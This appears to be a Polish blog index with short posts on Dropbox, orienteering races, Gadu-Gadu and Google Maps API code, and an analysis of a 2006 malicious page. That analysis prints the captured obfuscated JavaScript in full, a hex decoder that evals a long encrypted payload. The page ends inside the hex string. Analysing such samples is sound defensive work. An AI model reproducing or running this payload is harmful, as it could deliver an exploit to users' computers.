Dropbox – public folder
Jak publiczne są dane w katalogu Public, który jest udostępniany przez Dropbox. Okazuje się, że leży tam wiele danych i powinny one być raczej chronione. Jak się do nich dostać?
Dropbox udostępnia folder Public, który jest wykorzystywany do łatwego dzielenia się zasobami z innymi osobami, które na przykład niekoniecznie chcą mieć Dropboxa. Po załadowaniu pliku do naszego katalogu uzyskujemy public link, który można komuś przekazać. Dzięki niemu osoba, która go otrzymała ściągnie z naszego komputera/konta interesujący ją plik.
Popularity: 100%
ZiMNaR II – Zdjęcia – etap 4
ZiMNaR II – Zdjęcia – etap 3
Jako, że nie mogłem biec, to zrobiłem kilka zdjęć. :]
Galeria ZiMNaR – autorka Karolina Tołłoczko. Link do moich zdjęć.
Popularity: 6%
Tydzień nowości – Wrocław Night O-Fight i ZiMNaR
W zeszłym tygodniu spróbowałem dwóch rzeczy – istoty nawigacji na Wrocław Night O-Fight i istoty wyścigu na ZiMNaR-ze w Jelczu-Laskowicach. Wychodzi na to, że nawigacja na rajdach to nie była nawigacja, a tempo też nie było takie jak mogłoby być.
Wrocław Night O-Fight
Trzeci start z pięciu wyznaczonych na ten sezon. Wiedziałem o nim od drugiego startu, ale ortopeda miałby coś przeciwko startowi w tym sprincie. Więcej informacji o zawodach można znaleźć tutaj. Samo dotarcie na miejsce startu było wyzwaniem – podróż przez Wrocław po pracy zajęła więcej czasu niż się spodziewałem. Dziwne ;). PK0 zaliczony bez problemu – znalazłem “bazę” rajdu. Potem było tylko gorzej.
Startując pierwszy raz w takiej formie zawodów podpytałem co nieco przed startem. -”Czy warto używać kompasu?” -”Można używać, ale po co? Mapa jest zorientowana – za nami masz drogę, przed nami masz park czyli północ, a sprawdzenie kierunku to przecież trzy sekundy straty” [SIC!]. Do tej pory jakoś specjalnie 30 minut nie traktowałem jako specjalną stratę, a tu wszystko rozbija się na sekundy. Będzie ciekawie…
Popularity: 2%
Prawie w Smogorniaku
Chciałem odwiedzić Smogorniak w warunkach zimowych, jednak pomimo tego, że wiedziałem gdzie jest dokładnie to 1.5km w takich warunkach dla całej grupy było nie do przejścia.
Zdjęcia z pobytu w 2006 roku w grudniu – autor !CHYBA! Kshysiek
Popularity: 2%
Gadu API – parsowanie XMLa
Mamy XML i co teraz z nim zrobić aby uzyskać dane które nas interesują. Przykład pokazuje jedynie sposób wyciągnięcia danych z formatu XML w łopatologiczny sposób. Profesjonalna metoda autoryzacji jest podlinkowana na końcu tego wpisu.
Poniżej nieco zmodyfikowany kod z poprzedniego wpisu traktującego o Gadu API
< ?php $fp = fsockopen("ssl://external-services.gadu-gadu.pl", 443, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { //w przeciwnym wypadku $out = "GET /botmaster/getToken/11111111 HTTP/1.1\r\n"; //tworzymy komunikat $out .= "Authorization: Basic aW1pZS5uYXp3aXNrb0Bkb21lbmEucGw6aGFzbG9fZG9fdXp5c2thbmlhX3Rva2VudQ==\r\n"; $out .= "Host: external-services.gadu-gadu.pl\r\n"; $out .= "Accept: */*\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { $stream .= fgets($fp, 128); //ZMIENIONA LINIA; zamiast wyswietlania lapiemy wszystkie dane od servera do zmiennej } fclose($fp); }
Popularity: 2%
Mini Nocna Masakra 2009 czyli lekcja roku
Chciałem spróbować czegoś nowego. Zobaczyć jak się biegnie na orientację, jak jeździ się rowerem na orientację oraz co się dzieje, gdy robi się to pod rząd i zimą. Takie doświadczenie na przyszłość, a nuż mi się spodoba. Próba doświadczenia czegoś nowego nauczyła nas szybko kilku nowych rzeczy.
Wszystkiego doświadczyłem na mini Nocnej Masakrze, która odbyła się w Kątnej 5-tego grudnia. Dystans pieszy zakładał 13km, a rowerowy 36km. Jako Towarzystwo Matematyczne zapisało się tym razem siedem osób, z czego dwie po raz pierwszy. Start o godzinie 18.00 bez większego zamieszania.
Popularity: 5%
Gadu API – autoryzacja
Gadu-gadu stworzyło API umożliwiające stworzenie bota bez tworzenia własnego klienta i balansowania protokołem.
Aby uruchomić własnego bota należy przejść proces rejestracji opisany na stronach Gadu-Gadu.
-
1. Krzysztof Dziądziak – imię i nazwisko właściciela w przypadku osoby prywatnej
2. bot_testowy – cel do jakiego będzie wykorzystywany
3. 10000 – liczba numerów z którymi będzie się komunikował
4. 11111111 – numer gg założony wcześniej
5. haslo_do_11111111 – hasło do założonego numeru
6. http://domena.pl/bot_testowy.php – adres skryptu, który będzie korzystał z GG API (skrypt w momencie rejestracji musi istnieć na serwerze, może to być zwykły skrypt echo taki jak poniżej)
< ?php echo "bot testowy"; ?>
Popularity: 3%
Google Maps API 3 – marker, listener, zdarzenie
Rozszerzenie możliwości mapy o stawianie markerów i obsługę zdarzeń związanych z myszką.
Kod z poprzedniego wpisu modyfikujemy w następujący sposób:
<html> <head> <script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script> <script type="text/javascript"> var mapa; function inicjalizacja() { var latlng = new google.maps.LatLng(52,19.5); var mojeUstawienia = { zoom: 11, //!!zmienione powiekszenie!! center: latlng, mapTypeId: google.maps.MapTypeId.ROADMAP }; mapa = new google.maps.Map(document.getElementById("obszar_mapy"), mojeUstawienia); //------------- dodany obszar kodu, ktory bedzie zmieniany var marker = new google.maps.Marker({ position: latlng, map: mapa, }); //------------- } </script> </head> <body onload="inicjalizacja()"> <div id="obszar_mapy" style="width:50%; height:50%"></div> </body> </html>
Zmieniła się skala powiększenia zoom: 11, oraz została dodana definicja nowego obiektu klasy google.maps.Marker. Komentarz //————- obejmuje obszar kodu, który będzie rozwijany poniżej.
Tworzony jest obiekt marker, którego właściwości są opisane w tym momencie dwoma parametrami: position: latlng (współrzędne, które zostały zdefiniowane wcześniej jako środek Polski), oraz map: mapa (określenie na której z naszych map ma się marker pojawić). Read the rest of this entry »
Popularity: 9%
Przykład prostej analizy zaciemnionego kodu z użyciem javascript
W sierpniu 2006 roku w sieci był testowany skrypt uruchamiający dowolny kod na zaatakowanej maszynie. Dało się zauważyć, że testy podzielone były na dwie części – testy exploitu umożliwiającego uruchomienie dowolnego kodu na komputerze ofiary, oraz kod przejmujący władze nad komunikatorem GG. Kodu kontrolującego GG nigdy nie udało mi się złapać, bo linki były nieaktualne, więc nie wiem czy było to oddzielne oprogramowanie korzystające z danych gadu-gadu, czy też oprogramowanie, które potrafiło przejąć kontrolę nad klientem. Początek października można nazwać zmasowanym atakiem – linki do stron od znajomych pojawiały się bez przerwy i wielu w nie klikało.
Próbując zobaczyć co się za nimi kryje sam kliknąłem aby pobrać zawartość pliku html na dysk. Zapisałem dwie wersje html do których prowadziły otrzymane przeze mnie linki. Oba pliki zawierały kod javascript, jednak na pierwszy rzut oka nic nie mówiący. Strona html wisiała pod adresem http://www.bestflames.com/tomek.html#637321, co później będzie można zobaczyć we wnętrzu kodu. Skrypty różniły się od siebie. Poniżej zawartość wspomnianego pliku html:
<html><head> <script language="javascript"> function hRCNtfOSx(qTPnXrJlP){ var dmrELNfhD,AePVyMMby=0,RlVsEjMVH='',LnHAAqCOb='fbf0a01cf06a2aad92dda7f579d414ddf4b4aad2bbe3313346c39374f078433d63cf0a033f4d9e69b19fcb01d7905c8691aaab62bda41a6b70e320bf24fc65b676ab81ac6d17cabcd8d5e62bce997785cedc9743939385f11d2c2bb1f5d7e30747883ac8aa77e04a66a8c058f862524c93d713c880235e4efbc4715398bbe00493744a5052a280775f470faf18e04616702ba890f04cf3ca6ae49aee5fe4e94bbd84b281e159ac7872e767a5179610e49a6fcc7d7a91027d67c6341ec91aee45d0d55be404dfd244f2ca4ff2088cd786f347dcbbd8fca6439cacb3ba80a44e21828e144b8807c89be0372f9926522d89055b1dbef1236dbe5be278ec4f5bc6d3'; for(dmrELNfhD=0;dmrELNfhD<qtpnxrjlp .length;dmrELNfhD+=2) { var klezeaqRS=parseInt('0x'+qTPnXrJlP.substring(dmrELNfhD, dmrELNfhD+2)); if (AePVyMMby>=LnHAAqCOb.length) AePVyMMby=0; klezeaqRS-=parseInt('0x'+LnHAAqCOb.substring(AePVyMMby,AePVyMMby+2)); if (klezeaqRS< =0) klezeaqRS+=256; var kWhWWrVhe=klezeaqRS.toString(16); if (kWhWWrVhe.length==1) kWhWWrVhe='0'+kWhWWrVhe; kWhWWrVhe='%'+kWhWWrVhe; RlVsEjMVH+=unescape(kWhWWrVhe); AePVyMMby+=2; } eval(RlVsEjMVH);} hRCNtfOSx('5f5f03915dcf9821c054195eed393c5262191d351c53965b6de8c6d715ae7b629a032f39a372d4ccd6d230260af381bcc9cfe197e2da4b90a61745f2892198199be2b5d1a350eff30cfa1c8ef3cfacaa0141bc76f6b8b75742635fd62b10083e7bad702bcfad156f990de781219d5cb0023a8835e591d27c7236dac7fde35572f8e7adb1c207a89e847a72d44f136b4ca350dfc215822cefa114bf2593091b7be2ba15a6178ad1aed70c9ddc3ccd4509d0a0f1b3b1b638b28cf99843fb4c137b31fa91152916086928fb74293bb10db9187e0ee00e35cb7accd1eaeea5d68046b5f33b74b142d2ff4f9aa4068bc0a1b77ccd8632564be22cc055db4dbfc0eefa2026d641279f4fe3f702dd289e0b48022aedcf08210867986bf5c39924db6873c9f4403a647fd68ee703f03310b58eb6b6e10d89e6cd5575d45283349161d32aa422f315e17cf231463a598e2f09dcadf501c77cb8cabb16535d50e827fc15376cbe9dede0dd05809dcdf2881d95b671c50738feb44894b420faa478cff0053af799808577d8e59c967b34e17d057c499562dab5268118009b09d122841a1e70f1b9d7b7447ee2ad971dcbca4dcb351aff9403b19fc33aa299fd5955f93f207cf50794093741f96d1b05595677ef4cf358b550e94f6e0fb701d42828e517b182f2f33c72ad3701c0169a54cf8c7763c02a8d82e3275c92f4c007ae517491fbf83222c550288f5fe1b7110b1aad37390f24d9dd36e01561587c27b8a7529f6c669ed96e72a2c20bce1f13f97849f9d0ebb91f19c730077bdbd50b47e45b608cdf9fe68b10dc7a3f293d435a59450be0f933040cb1f806e8528d9153d81a0d192c7ebd5ffe0f9c167d8bdff47d2e9b7782f9fc492da5558e732ff7968acae01639b8aa7b7589d6a5ad946c43153d127e3ba691cdc2537125fa8f1aff13911d0e7deda9e9e30882d5b37c4bd6088c0375520e9d43efe30567a5dc3499912c7b5eaaf8fc80143d04097a170080173fbefcb8236c13edfd2ed668cf10d8ecb0c98486a7c54970be6aedd1435c62fb4d7b56c40fbf8c216690d22ccf10ef5eb8cf2bfb705e058f53cb9a12ba04cc25b2fb3d062fbe0e411e589e98b437c1eb62e1b7a28b447868b2b0ffd916c7f22607c981bdc5cfe294e2db5390a21345f6862197e69be1b6d1a44deff209fa1c8ef3cbafaa0013bc7ac5b8b721425f8fd62707083dadad6c2dcfab136f9ddae58e2d87887db80e47edb658838261e9a785bdf14129c9a96f8685c7b7ab847947d44e456b48a950dac7157e2cef9c14bf25c3091f7ee2bae3a6188dd1aea50c9ddd3cc84809d0a4f1afb3b639df8cfd9845f243294f3444be59714440b82041c15b7cf1fffb61ac4f1e396c0b6bc3d1e3f3a7cd775c8cf283aefd742d095465a60b8fc692b17ac982315484dd2383099d1c8880fc0c2026d641229a4fdfca02d9269e0644022be6cf04f40863636bfaf59b19a17e47c73e6d78acb20cdddf163d6a4bf584fbff0f1ec51e147f93970850f8492c9edbaddfa6e39f3c01f5fd07165005fb9cb7fe01cd78b8cabb16535d50e758fc153f6cba71ede1a9057c96cdf3bc1d948271c93d38fae548928120fba378cef0053ac499818477d8b59c93ad34e54a057c779561ddb5267f18019e09cc26841a4e70efe7d7b3117edeaa971999ca49cf3516d194feb69fc332a29e2a5954fc3f2476f50c8f093a12f77a2aef812a2dc20cab258001f23a21dda7c3d5dcf58a08bd84f7fb79b9fc353f0d49ab94c19bc092fc68bc8d23194a92ee9407af507684ef0e05540f7f65d78f1b060b1e67e248790569220f451e44a1986eeab8a4299f6c669ed96e72a2c20bce1f13f97849f9d0ebb91f19c730077bdbd50b47e454358aecafd0b7e29249fae10a0d0b5dffbea9b5f313c968c5ccaa234d5162131c000c4251eca92b1fe445b8dad637ca61d6b7740845783be384ceb323eb9683d1e0103db8ab7e7589d4a5ae986c41df3d17a83ba25bcdc625712a008f1acb1395470e7df5a9e4b80690de9da4178cd87bbb4214bfa532a2acf627b19aeb6b50ee50236a0606801b3804087917feb5173ebefcbc546c12f0fd32d968d3e0d8ecb8c98486a7c07770ba37edcd125c61cb4b8490ae378b42f023489ff08014b1118192eb053415d24c15a18ed2c810cc2baaf94b1119eaddf7f11b56657ee8c9a915aa7c629a312f3aa374c792eca92f703a05c9ebff1ed9d92f0d8ed098588e24975fc626dbd3a8d19d50eff33cfc0f5409a3dbf4315104a80107b3688f959f161d4c516cbaeb9b380f9f076f96e1e58e31878882b80943edb25b83802ce9a383bdf21229c5ad6f8282c7b7d9867038ea2244b579e5980dfe647a6a3cd358ff16d4524ebe20e522e60980d1a8ab0c97de3ccd4409d1a1f1b4b3b634ad8cfd9643fb4a137b05fa921a29150369282d742440b109bd187e0ee00a2ccb7600d1e5eaa5dab446b4f3397fbf2cfed0056e63be5ab852bf3780531f1659a2e391159d238380f80b2022d241229c4fdff502d9259e0a790226edcf04f208636c6bf5c39927dc687396f440346484d28ee7d2f0370fb58ebeb6e0e087efdd3fa2d20857234b258ef1800ff00fe2842f2a4c035d9d370ddcad434afcb6f6f4f556455350e12efc1a6b6eb16303b4db4faddb1525c66c90c9befc4b78f0f591c3c15e25e1b8c0e20534cc9b73798dace4e6c2bc7c148654748de2941cf518c1612fdd47fb5ec40c1070edbdd7b71a7ee2ae971997ca49ce3516cb94fead9fc834a299ff5950f93f25a7f7fe841f0e4341a76737b4607cba4ef85cbb41e34d6a0bb6ff0d231fa8cb7351bbb34484ad3efcc0176954d05f775fb92a927fe3235392f49007af227491f7f83153c54e288f5ce4b714d91aab04391058d9dc02e01997587828b8a8279d797288063e2873b3c39fe3c40162fcc691abc7ddd099f1c94ca3951985e4565f8ae8a6d0b3de9249fce10a0e0b5d05bea9bef30ec768caf7aa27505161e21a0e172c7dbb5ffee29c12828bdef57d2a9b7783f5fc4a2ca74c87890528e0b60d28457207a2c1c2bb16e59fd4b574227b41b67b9852cdc029712a2e910dc329694858ae32f117ef558723eadb5bcccd8c047557fdd03ce2a2b827ada0ed5d47042452b4334ac849725300bb6433c357300145eb66aa3d2b3d24cd68cce5d8f0b9c98457a7c04470ba3fedcd115c61c94b895fae379442f02148a420820ba12759bf3536705d058a6498a11ffb510c1dee42795057151a37e30a56637fe8c3ad15af77629a012f3a7872d099d6d62d2609c081bcc6cfe298e2da4b90a64645f15c2197ed9be2b3d19f47efef3cfa185bf3cfddaa0041bc77cab8bb2642635fd6293d083d79ad7029cfad156f9cdbe58f2c878484b80d78edb25c838032e9a38cbded1029cad86f8685c7b6a8847e43d44e136b4ca850dac8158228ef9c1dbf25c10920afe4addbbcebbd1bdbe754cc138bc4875603e331a5efff67f0ca27a483f141137509fa92482b08fb7ffc2ebe557df93cf46775532d41700b6b111a182de305be86aab5397bc12ef1c41b41930889c79aee73cf4b35638ce1238357e651c2be27436018c74120a34fe4c402dd2a9e0b48022be9cf09ed0867986bf5cb9927aa686f9cf43d65647dd790dac8060b3bffbffbfe0f19d6eb1b8cd4e44848349261d819d71be6d4943c0120fffe0f66d8fde6e84349fcb107c1fc6386a090d96a45487aaae9aa2dd29e05809ccdf78d1d98b771c90a38ffb448948720fad778ce200536c3997e8777d8e69c917f34e54905784f955dd8b527ae1af3931fa452ce475eb822f226af58cb15ecd70fdc137c0973450ad4f4a49fc13ba29b2959542f3f247cf50793093616f77628ef85572dc209ab2a7a01f20821d9a5c1deeadfb2dd7354e4b53d74c3112c0a43ac9cfe94c65b0077c491231998db23ce45d95cb483edf82b29c553268f60deb714d91aab04391427d9dc02e016955878f3b8a8239d7a6f88053f28757ec3a0e5c40136fcc4c2abc3e2d098eec94cce951550e4562e8aebadd0b6df924dfde10f070b6107beaeb5f313cb68c5f8aa26505161e91a0d182c7deb5ffe0d9c127c8bdaf97d2bc47975bc121d2cef86d3bb6032e5810f2d4978f89cbfbeb715e3d8cfac37d63d107f3ba761cdc621712afc8f16ca13954a0e7deda9e5e5068bdc9da61a8cdc49bb4619bfa5fda2b1c527b39ceb6884ee4c266a060680166704047417fc81173cbdfcba276c1021fd30da68d0ded8ece5c98354a7c54870bf39edd1155c65ca4b8891ae378d42f02a48a020820ba12759bf3536705d058a6498a11ffb510c1dee42795057151a37e30a56637fe8caaa15ae74629a012f356f72d49ed6d1fb260af481b8c1cfe295e2d67f90a41845f589219cec9be1bad1a449eff23efa1c90f3cfdbaa0411bc79f8b8bc25425e63d62709083c77ad71facfad466f9cdbe58e2d87897fb80e46edb255838034e9a4b5bfe4093f9dd8b9b3c70fe5e5d37586218154ab3ee5990d0353ad632f920bbf1e980b1274f88e16f044ce19dde05b951c89ff8449c2e43ae2edf463edccee5b43f953137933fa914a29150969240274243fb109bc187d41e00e2ecb7acfd1eaeaa5d7b046b4c5397dc12cfbfd076058d430b69cec7ac8822c6551e430c456dd14c4c92b465e51108118914fddcb02de2b9e0a45022be6cf04eb0868686bfac59926db686f93f43d67647fce8ee3d1f0370fb593bab6e1df87f4d43f9ed1085225492ecbdbade2a6e3a43c01f3fd074b5004cb9cbb0301ce76b8cab916536250e758fc19386cbe9eede0ac058199cdf2bd1d988571c93d38fee44890b420fba878cef4053af8997d8377d5b29c91ac34e54d057d4e9561ddb5227e18fdcc0bc3179aee4dba20f91fe64fcddaefe450db0a3f0b7e490dd22deddfb929a297ff5955ff3f2476f50c8d09360ff77b2aef85562dc23aab257701ee3c21d873c1e218dfb7d97357e5b34aaead3a2ac209606aa38ac190fe72c08b321f9adf27cf47a061bdc039365c600544178f5ae6b714dd1aaf05391426d9dc02e01963587cfcb8aa559d756d88026e28717dc39fe6c4fd66fcc495abc8ded098f2c950cf951558e4562e8aebaad0b5e1924b2ee10d050b5d00bea9bef30ec768c5f5aa234d515de31a0e1a2c7dc15ffe0f9c167e8bde257d2f95777fc6fc46faa555c37331f9968ad0e01639b8a67c758504a7a0888219138743bb83d5991cbe67be5c3ecf0c0f5cc4574cac2de9daa80689e59da91d8cdb48bb4716bfa1fca2b0c527b398eb6b52ee4d506a0205820d2d1adca8612dc45f6dfa4bb46ab9452f3d241bb1011f161bf0097648a7be4d72b13003a544a6920e93b79bfd33d28f2765889533c947eb4fb0cb2bfb2215d05515a15ed2c90fcc2cb2f9460d19eb0cf7ed13566a7ee8c9d815aea66296332f39a472d49ed6d6022609c081bbc9cfdfc6e2d87d90a41b45f658219cea9be2b1d1a249eff20dfa1d5cf3d0acaa0411bc7ac6b8bc25425e63d62710083aa9ad6cf8cfae44718fd1fb625cd1b5c1003c813cae9ad0b76f2999c806205367f4e4af7879c7b0b0847d42d44e116b4da450dec315822bef9c1cbf2494091b84e2b6e2a618bbd3a19b22710986f98551ffdd40abf1036bf1cceea98c2e8d51a6403a830b290f0b69220374293cb10eb8187e15e00a2ccb7afed1e5eaa5db8646b8f23981eb2cfacb056a93be588252bf6a8053f3165aa4e38d129d208080fc062027d44126a34fe4c802dd2a9e094c02281acf08ed0867946bf9c89926ab687497f43c3b647fd08ee503f03710b592b9b6e1dd87f30a3fa2a308562549329bdbaddfa6ded23cfff4fd094a5002fc9cb90601cc77b8c8b916525c50e327fc15406cbb9ceddca70581cacfe981336cb6bbf64c802dee978cc56d2de5b8c0304e6906d7abc0b7caa79c8f8034df51057c499561d9b5278018009d09d02684162170f3b9d7b31a7edea8971ec9cc40bf4beefede2ff2e7f670f1953da6873d7f16ba3e3ace47654f376c19ef7f2b2dbc10ab238001f21021dca7c1e216dfb2d47354e6b3467bad3d2dc0166c54d05d775fb92a8f4ee3275692f58f07ae257492fcf83125c551288f5e13b713d91aaf35391329d9e005e01a655878fbb8a6229d77a188043d287485c39d15c4ff64fcc38eabc30fd097f0c950a0951a52e45b328aecabd0b8de924c02e10c390b5f31beabbdf311cb68c8c7aa264d515de31a091c2c7aea61f1d3b2eaaed50b35c55dd0c67a0a497c3ce54bd3bc6037d4b40820082bb8a4837582dba5aec36e38d853eaaa85d3a015f55ec02141dc4d0e53875957b030e713f14681d39da2208cdc7bbd390dd57930ecdd066fe2d53a62953b8362aaf84ac949774233b457f2761738c5feaf1c82e61f475f1bb0011a27e8f716b795e7b689b9ed7a2bfc509c57c04b8266ae3b9442f427489fee8014b011818ceb052b15d75415a08ed2c840cc27b2f9460d19ebdcf7f118566a7ae8caa915af756299342f357772d199d6d104260af283afbae5b5c62c078fd8d55194ed9b6ece2adbd3f61ad28a2d1d483a0e52f3c9b0aa023fbc79f9b8bb28425e63d6270e08397dad702dcfad126f9ddbe58f288785aeb8094aedb25c83815deb9a7cd3c54473f6e9b7b5c016aeeed1b083144055b47be38e090055741aef9a1dbf2597091fafe2ba15a613bed1aed80c9ed53ccc4509d0d4f1afb2b634af8cfa6b43fd4f137a04fa8d162911356924fa74293db10eb8187d3fe00a5fcb75ccd1e9f0a5da7f46b8f13982bb2cfed0056968be59b454b22e9627226086e22bc050ec1ac6cd2f476018158a55dd8d0e0242cf1c9e044d022beccf081f0867966bf5f89927ab687398f440686483d28ee3d7f0373cb593bbb6e00e87f3073f9da90853214b258ef1800ff00fe2842f2a4c035d9d370ddcad434afcb6f6f4f556455350e12efc193b6cbe6bede1ab057c96cdf3bc1d948271ca0f38fee44894b120f6d678cfed053ac899818377d9b09c95ad34e57d057d499561ddb5247e1800d009d022841b2270f0e6d9aa0a94b6dce14adc127c04841211e135f1dfb977ebcc39977f397f166cf50594093842f77a58ef85292dbe0fab257e01ed0e21dca8c1e2e5dfb7d77358b2b347adad39ffc0127054cc88775dc22c8446f9fb87dc21d04fdd5ac3893d456464054465d88f20f53e175aa1fb390d2dd9e038e01596587bf7b8ab299d7a6d88053f28717dc39c15c4fd31fcc38dabc40cd28be6df24cfdf46952c896ad9e4ed1dea20d23f3f2a3d48498c3efe9facf30cd068c9f9aa2382515f151a0d492c7dbc5ffedf9c127a8bdb247d2a92777fc6fc462aa74c87890528e0b60d28457207a2c1c2bb16e59fd4b574227b41b67b9852cdc0297129308f16ff13934a0e82eda9e8b6068f119da41f8cd750bb4346c198f5b884f571e0dc33998c3d4865b73949c00c794d37b7552bbf5730b3fcb62c6c1221fd2e0b68d1e3d8f1b2c9845aa7c54870be3cedcd185c65cd4b885eae3c8f42f02a48a020820ba12759bf3536705d058a6498a11ffb510c1dee42795057151a37e30a56637fe8c9da15aaa86298022f397072d59fd6d500260cc481bcf7cfdf98e2da5390a64645f5592197ee9be1b3d1a350eff23dfa188ef3cba7aa010ebc75ccb8b853445554ecff3b526abcf59f361ea557bccf1c25806dd0b7bff638832da84a837e34e9a5b6bdf14629c9ab6f828ac7b2ae847945d44e456b4ca250dfc3158323ef9d46bf2096091b84e2b714a80a82e782d656ca1a84fb7e58c8e63ee6eef62af2d52ba7812a8a536df7fa8b1d29160569242f74273ab10ebb187d41e00a34cb79ced1e9f3a5dab346b4f1397eb82cfad4056a91c04f7b689369ca80335e88db328959ea55c3c0ee486955137f51da8fd5b902de59a0fd3d18fe181935305096a1baf10ae659eca865d83d6f76a2ae0eced9c6f0370db593bbb6e01087f3d73fa2a40856f84932cbdbac10a6de9d3cfef1fd0c1e5005c99cbb3101cda9b8c9be16546050e32dfc15406cba6aede1d907738fe3cabc67c5c7b9f84587f6f795c7c260ece6c1fd2e436503d9727777d2b99c967d34e549057d48955dd8b5268518fc9a09cd5284161970f0b4d7b44380d5a1adf1cb147a0b7d4908e3faf4ecfa76e28f3ba2833c7d4fb535fd82093418f77b28ef85232dc309ab257701f20c21d873c1df17dfb2d47357e7b34a80ad3effc0126754cd577764bb2a924fe3275492f59407aa24748dfdf83252c550228f5ee1b710e01aac0a391127d9dd07e016665879f9b8a6549d767388023f28737ec39ce4c4fd65fcc38dabc4dbd096f1c94d9b951584e457358ae9aed0b4df924bfbe10a390b5efebeaab5f310ca68c6c3aa2451515fe71a0b162c7aba5ffbe39c147f8bdbf37d2b987783f7fc45ffa555c1732dfb968afae01436b8a87e7585dba5aa956c43e23d137b3ba360cdc32671252e8f17d01392190e7feea9e5b4068b109da5188cd848bb4418bfa2fca2acf527b0a0eb6756ee4d216a040680166804057417fd7f173cbffcb9236c0feffd30dc68d0dfd8edb2c9815aa7c24970bb3aedce165c66fd4b8464ae37be42f02848a4208016a911838deb063415d44e159e5dd2c612cc29adf9481119e60ef7ef18566779e8c6ab15ac786295332f367372d1a0d6d300260ac181b8f5cfde9be2d74d90a31545f25621971a9bdfb5d1a04beff009fa195df3cca8aa010cbc76c9b8b822425f62d62808083a78ad6dfecfae446f98dfe58a5b878483b80e75edb35383812be9a483bdee1629c7aa6f8382c7b3aa847a42d44a446b49a050dbc0157f23ef9d14bf20c3091c7be2b7e2a61489d1aba20c99093cca4309cd9ff1b0aab635ad8cf89843fc4a137800fa8e142912026925fa742538b10ab6187a0ce00b2ccb76ccd1e6eea5d78446b9f2397dbf2cfafe056966be5db452bc358050ee16569de38e189d208580f9032023d341249b4fdff602da259e07440227e4cf05eb0863976bf6c39923a8687093f43d33647f028ee5d2f03407b58fb6b6dddb87ef083f9ea00853ef492f95dba9dba6df9d3cfdecfd08165001c99cb8fe01ca73b8c6b916506250e859fc153e6cba9deddcae0581c8cdf38e1d988771c60a38fbb248917e20f7a878cbeb053ac4997cb477d5b79c927d34e24e057c4a955d0cb5238018009f09d02384171f70efe8d7b4197edfaf971aa0ca4dc93516fe9402b19fc735a29af75954ff3f2476f50894093710f77a26ef82242dc20dab297a01ee0b21dda7c1deeadfb2077353b9b34badad3afec0136b54cc577760bd2a8e52e3245492f18d07ac1e748d2af82f22c54f298f5de4b710df1aab38391028d9dd07e01662587af7b8a6549d776e88023a287381c39ce9c4fd65fcc492abc5ddd096f3c94e9f951756e4572f8ae9a9d0b5e1924a02e10b080b5e01beabb8f313fb68c5caaa2380515de81a0e452c7abf5ffce09c137f8bdcf27d2b997780c9fc46fea55691732d289687cee01334b8a7807586d8a5a9c36c42e33d13793ba35ecdc32171252e8f17d21393150e7eefa9e5b7068b109da51a8cd84abb431dbfa301a2adc127b09aeb6851ee4d1e6a040680183904057717fe83173ff0fcb82a6c0e1efd2edd68d30ed8edb0c98157a7c14b70bb39edce135c63ce4b855dae389442f05548a1f48015ac11838eeb062d15d280159d5ed2c510cc2bacf9471519e60ef7ee1b566679e8c6a915ab7b6295332f366f72d1a2d6d301260bc381bac5cfde93e2d84e90a41545f2542198ed9bdeb7d1a04deff33cfa1862f3cbdaaa0013bc7af5b8b827425f5ed62810083b7dad6dffcfaa126f99dde58c2e8784b0b80a44edb45583812de9a587bded4429c6a86f838ac7b3aa847a40d44a446b4aa150dbc9158029ef9e18bf20c3091c83e2b7e9a6148dd1abaa0c9ad93cc94709cda5f1b0b2b635af8cf96443fc4b137800fa924829110969242d74243fb10ee8187b0ee00c2dcb76ccd1e6eba5d78646b5c3397ec12cfbd4056993be598352bd398051f01656a0e38d469d1f8380f9072026d64123a34fdff602da2d9e07470228e6cf05ef0863976bf6c79923ae687094f43d376480d38ee4d3f0350ab58fbeb6dddf87f1d63f9fa60853f74933c9dba8e2a6ded03cfcf3fd0c485002cd9cb8fe01cb76b8c6b516506350e529fc163c6cbb70eddcdb057d9dcdf48b1d958871c61038fae448918220f7a478ccf10537c4997cb477d6b29c927b34e349057946955d0cb5237e18fd9f09ce2484171e70f1b5d7b4127edfa9971b9dca4bc73518cc94ffae9fc43ba29e2a5950003f20a8f50792093b41f77827ef822a2dc00aab277a01ef0b21da77c1e0e7dfb4da7353e6b3487ead3bf9c0136954cc5e775fed2a8e51e3245c92f19107ae1e748d2af82f22c54f208f5de2b710d71aab3839102ad9de05e016615879fab8a8239d767688024028727fc39ce5c4fe38fcc392abc5dcd09921c94ca2951583e45a618aedabd0b70f924d2de10a0e0b5e30c0a0ae09e6fbb2f608f2568ba059286740576c6ffda82d1dda41bacbd0e77d289b7975bc121d2cef86d3bb6032e5810f2d4978f89cbfbeb715e3d8cfac37d63d107f3ba762cdc6287129038f1afd1395190e7deda9e4b90690e09da7498cdb50bb4548bfa105a2acc127b4c9ed5d47042452b4334ac849725300bb6433c357300145eb66aa3d2b3d24cd68cce5d8eab9c98557a7c44570bf39edcd105c65ca4b845dae38bf42f02148a3238019ad1185beeb095e15d37e179353e89c411658ee41794b68e221442457965bbb31f8e753d9b3a28bf62f337872cea2d8c8f43ce1f4cbe9061710d031d291ddd95785e7996aca29d90cf111953eefec11fa1664f3cfb0aa0412bc75c3b8b72942635fd62a39083d80ad6f2ccfa9456f9ddbe58f2d87887eb80e46edb75783852de9a78cbdf14529c9ab6f828ac7b3a7847972d44b116b48a950dac0157f57ef9d48bf208f091b82e2bb14a61390d1aaab0c99d53ccd720bc3980787de0065f2d42ba292f79160ae443a8359724445a7533ab41a2fb107bf187715e00835cb79cdd1e5eaa5d7b246b4be3981bc2cfe01056d62be5d8752bf698053f31659d2e392169d1eb480fc062027d241269f4fe3c302de299e0a490228e9cf081e0867686bf9f79926ad6873c8f44137647fd68ee3d1f0373db592b8b6e00c87f3d93fa1a30857f3492e97dba8e4a6dfcf3ef3e513df4a9a310ee4ea3c50c5ba05fcf95645a19916683a4477acb061eddab0057a9fcdf0911d988371c53c38ffb348948320fba578ccec053bc799818477d9b29c958034e54a057d4b9562dcb5268118fca209cc20841a1c70f3e7d7b7127ee3ab971e9aca4dcf351ace94feaf9fc365a299f65950fb3f2478f50bbe093b12f77a2bef85262dbf38ab257901ed0821d8a5c1dee3dfb7d87356e4b34a84ad3c2cc0129c54d0597764be2a914fe3285692f58f07af1e7491fff83155c552278f5ce5b710d81aab37390f24d9e106e01893587cfcb8a9549d75a288056d287582c39f16c40138fcc790abc7e2d094edc94ccf951550e4572d8ae8afd0b3e59